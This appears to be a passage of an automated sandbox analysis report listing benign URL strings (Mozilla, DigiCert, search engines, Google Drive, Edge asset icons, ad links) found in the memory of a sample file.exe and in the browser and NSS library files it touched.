Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2792327892.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: CAFIJKFH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_451.5.dr	String found in binary or memory: https://apis.google.com
Source: a3b6bb1a-9acc-4deb-b9c9-476a58d5d9c0.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp, BGDAAEHDHIIJKECBKEBA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp, BGDAAEHDHIIJKECBKEBA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: CAFIJKFH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, CAFIJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, CAFIJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: a3b6bb1a-9acc-4deb-b9c9-476a58d5d9c0.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: a3b6bb1a-9acc-4deb-b9c9-476a58d5d9c0.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp, BGDAAEHDHIIJKECBKEBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp, BGDAAEHDHIIJKECBKEBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: manifest.json.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, CAFIJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CAFIJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, CAFIJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: a3b6bb1a-9acc-4deb-b9c9-476a58d5d9c0.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log3.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_451.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_451.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_451.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_451.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: BGDAAEHDHIIJKECBKEBA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10.
